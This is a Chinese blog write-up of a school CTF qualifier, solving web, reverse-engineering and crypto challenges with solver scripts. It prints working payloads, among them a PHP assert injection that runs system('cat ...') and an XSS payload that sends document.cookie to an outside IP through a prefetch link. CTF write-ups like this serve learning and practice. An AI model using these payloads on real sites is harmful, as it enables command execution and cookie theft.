某校选拔赛
来源:互联网 发布:git ssh eclipse 端口 编辑:程序博客网 时间:2024/05/21 05:06
web
admin
首先扫描,发现目录
访问发现flag不对,抓包,修改一下cookie即可
babyphp
查看源码得到hint
然后这题又有.git泄露
发现有个过滤,这题就是只要绕过,然后执行访问目录即可,开始构造 '.xxx.'
这样大概在里面是 $file="templates/".''.xxx.''.".php"
assert("strpos('templates/'.xxx.'.php') ===
发现可以找到,但没有办法查看,那如果我闭合前半部分,单独执行sys命令呢 ','..') === False and system('');//
payload: ','..')===False and system('cat templates/flag.php');//
flag:61dctf{8e_careful_when_us1ng_ass4rt}
inject
一开始没有其他目录,那就尝试一下备份
在.index.php.swp
发现源码
<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>
发现我如果输入任何数,都会hack!
,猜测是Hacker()
报错的,而过滤函数只起到过滤不报错的作用,那就下来就必须让那个链接语句成功
由于是反引号,尝试用反引号闭合试试
发现是完全可以的
然后直接构造语句试试
成功,但是不是1,看来有可能是顺序问题,利用limit
表名
列名
flag到手
babyxss
首先是验证码的碰撞,直接脚本
import randomimport stringimport hashlibdef md5(str): m = hashlib.md5() m.update(str) return m.hexdigest()i = 0while 1: i +=1 #print i string = '' s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4)) if md5(s)[0:4] == '82ac': print s break
接下来就是xss的过程,不过有csp机制
由于CSP对link标签的预加载功能考虑不完善,先是构造一个
收到了,虽然什么也没有,访问一下
发现写入页面里了,当时忽略了这点,结果总是找不到好的方法去控制,想了好久好久,就是不能过
不过后来有了提示,寻找可控点,联想得到的referer页面的可写入
单纯的发送并利用src去访问,结果发现不执行,由于有了link以后,下面的就失去了作用,看来需要让link解析但最后的php又不执行,尝试注释,发现成功
payload:
首先提交这个
var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "http://45.32.67.217/XSS/?a=" + String(document.cookie)); document.head.appendChild(n0t);//<link rel="prefetch" href="http://xxx/XSS/?c=[cookie]">
然后根据返回的referer再提交
<script src="http://39.108.192.25:5004/4dmIn.php?id=xxxxx"></script>
然后静等返回flag
RE
androidea
利用jeb分析
脚本
a= [113, 123, 118, 112, 108, 94, 99, 72, 38, 68, 72, 87, 89, 72, 36, 118, 100,78, 72, 87, 121, 83, 101, 39, 62, 94, 62, 38, 107, 115, 106]f=''for i in a: f+= chr(i^23)print f
得到
stheasy
反编译
是两串字符
整理一下,payload
s ='1k2j9Gh}AgfY4ds-a6QW1#k5ER_T[cvLbV7nOm3ZeX{CMt8SZo]U'a = ['48','5D','8D','24','84','27','99','9F','54','18','1E','69','7E','33','15','72','8D','33','24','63','21','54','0C','78','78','78','78','78','1B']f = ''for i in range(29): print int(a[i],16)/3 f += s[int(a[i],16)/3 -2]print f
Crypto
bbencode
打开看见加密脚本
flag = open("flag", "r").read().strip()assert len(flag) == 32def str2num(s): return int(s.encode('hex'), 16)def bbencode(n): a = 0 for i in bin(n)[2:]: a = a << 1 if (int(i)): a = a ^ n if a >> 256: a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L return aprint bbencode(str2num(flag))
这个跟0ctf的OneTimePad1比较像,不过简单了许多,这个算法只要将加密的密文按着加密脚本重复下去,就能得到flag,不过数学不是很好,所以不怎么知道需要轮询多少遍,去了个巧,猜测flag格式是flag{}
,这样我直接比对flag的16进制是否匹配即可
def bbencode(n): a = 0 for i in bin(n)[2:]: a = a << 1 if (int(i)): a = a ^ n if a >> 256: a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L return aflag = 61406787709715709430385495960238216763226399960658358000016620560764164045692for i in range(10000000): flag = bbencode(flag) if '666c6167' == str(hex(flag))[2:10]: print i print hex(flag)[2:-1].decode('hex')
发现还能得到好多,不过还不是很明白到底要重复多少次,似乎跟数论有关
rsappend
这个看下脚本
flag = open("flag", "r").read().strip()assert len(flag) == 32import primefacimport randomfrom os import urandomdef genprime(l): l/=8 big=1 while(l): big=big<<8 l-=1 big-=1 small=(big+1)>>4 temp=random.randint(small,big) return primefac.nextprime(temp)#genprime(2048) def str2num(s): return int(s.encode('hex'), 16)def padding(s): return s+urandom(abs(256-len(s)))def rsappend(m): p = genprime(2048) q = genprime(2048) n = p * q result=[str(n)+"\n"] pm=padding(flag) for i in range(32): e=genprime(32) c=pow(str2num(pm),e,n) result.append(str(e)+"###"+str(c)+"\n") return "".join(result)open("result","w").write(rsappend(flag))
定义的那些函数根本不用看,反正主体不在那,看主体,会发现先将flag填充很多随机字符,然后会发现又随机生成c,e,然后他居然循环32次,让我一直坑在数量上
这么多数据,我一直以为是全部数据都要处理,却发现只要两个组成共模攻击即可,反正其他的数据是用来处理后面的填充字段的。。。郁闷
脚本
#coding=utf-8 import sysdef egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def main(): n = 130129008900473203968454456805638875182255844172836031362469765750555629223299054613072677100571707156698316733582683118539756860001556017029333867329591302318262912728008327902112481960175532302595162289611406978353816368008691640641366763939266242207191229240305820321249712345088877729541037319788659353057396178127928848886417880913823432701577855911982710310391664759040416918636673098245499680559140960154217578440590540485803953844560093151975252604098243460784073934982164384904788470380402066708313893480356219937915540825156266934523595689350157227336528136089157698775968997579723271988825396396444999743016035145444220925369592263295741687879468786947998534483539986779457827253891091252408156073413533385415338751818544323853074296042153599429749378847870780593975579477549218822682233583377677693108437331184962345568217859524495625257015837972947971787321584159575618388588687948368216479955807108888453821700067186732627409832722329355336479016104249514839541606562090752437124270651936485389358065775555250883907067083447197860848471728871909151915883316674512739238840179296263390441457949281128267215916340163366686542160467601357340644950755337706786366316621293666173843528346692669268972961669116101104865152273 e1 = 3493354673 e2 = 340864687 c1 = 95302089605615051645253770338205531172677353498946580682786822045513597212422921981567826452072575982096979591435896082106066368909398510427324124083956090397824543655853708684901332136907086372208856759943292176759073194584568350898675282883285945088425893961769183074018286761903249180704401358403273776903672507958464947244563165564687651203497198317095965140433811056890812018746508121991041040929574993486548175817290824525606551459788553765629416110310419007396912225733599205599864440826319234419035248234403040065378375700430311931418759746223148198205862641252459687694589780856855757703678024583642215076094232444641853081607984934672271461513190437757388818064739151861157236855430066735235471068167602037785718403200529481153399754491247323829122718485697100562237822159608309949585990842201041193231738706398444530233533281604482892716292766323711237917277799500317596333142843576977429802405873159965636003943698854699972663575602383960580472190300576561953143218321528070200681456278974433060654128626428761278953024384187213765974659768657721533448706022075747036347982370028705538843276631102928500802573434484354218539824751579164697748967608238067706842975984077663380114254296902060435479795741671231918448537178 c2 = 105918022590727868761989308441554006325741233318901416621101439141134508212362387984949614887131575960019253866892976283979646611794365370050551871112439674346802340152058463892106629344277362169322187627579360245792142005899616101515519718660483000821415412306495286717542069436530262341500852884860324349096274655178057271529986597578695272732947460673640986877589225588415523871081101162696385279491410034057376225511693022693861779342120101749193614060384925056132593068290214170342896671210026723193650534803792328917982049779674425511275821311773130342656939142955431868128759911406827872932920704284125816103225607727270365652734742083302757644298457617564597237089509337896240249999242834787525341715546373108420197569425092674224333823552432226153066667988737348643469923827028254712179077001007265954488404167147591307425224250970874724864947175449960116685682348915647317191880538777148647712260093008241728509225817352093441924045801257015598517963598799676359095235231066752986688784477694024390356904157694178691411759003004184256950519184836209393583431328640341243629167223114681734264945594931213193459079614652400888215324779908031661350565230685273639666615465296133672907093946148188967451042301308884510424218096 s = egcd(e1, e2) s1 = s[1] s2 = s[2] # 求模反元素 if s1<0: s1 = - s1 c1 = modinv(c1, n) elif s2<0: s2 = - s2 c2 = modinv(c2, n) #m = (c1**s1)*(c2**s2)%n m = (pow(c1,s1,n)*pow(c2,s2,n))%n #效率较高 print m if __name__ == '__main__': sys.setrecursionlimit(1000000) main()
转化成hex
转化成字符
- 某校选拔赛
- 2010校选拔赛题目H
- 3.26 校赛及选拔赛
- 2013 CSU校队选拔赛(1) 部分题解
- csu去年校队选拔赛A题 二分
- 2015 SWJTU 校集训队选拔赛 Ⅱ参考题解
- 郑轻新生校赛和中工选拔赛题解
- 选拔赛+总结
- 今晚选拔赛
- 选拔赛-杀伤力
- 选拔赛-染色
- 选拔赛题目
- sdnu1046选拔赛
- 校第十六届大学生程序设计竞赛暨2016省赛集训队选拔赛1002
- 校第十六届大学生程序设计竞赛暨2016省赛集训队选拔赛1007
- 校第十六届大学生程序设计竞赛暨2016省赛集训队选拔赛(Problem E)
- 暑期集训队员选拔赛
- hnust选拔赛2
- 今日见君面,恰似故人归
- windows(64位)下使用curl命令
- Java多线程复习与巩固(七)--原子性操作
- 33 个 2017 年必须了解的 iOS 开源库(包含swift)
- MFC基于单文档分割视图后子窗口点击编辑框获得相应的操作
- 某校选拔赛
- HLS ORB算法设计心得
- Redis 集群详解 环境搭建 调用案例
- CocoaPods 安装过程中的 Warning&Error 备忘
- iOS图片拉伸之神属性:resizableImageWithCapInsets
- No enclosing instance of type is accessible.
- Android Activity和Fragment的转场动画
- c语言实现单链表&二级指针在单链表的应用
- HTTP与HTTPS的区别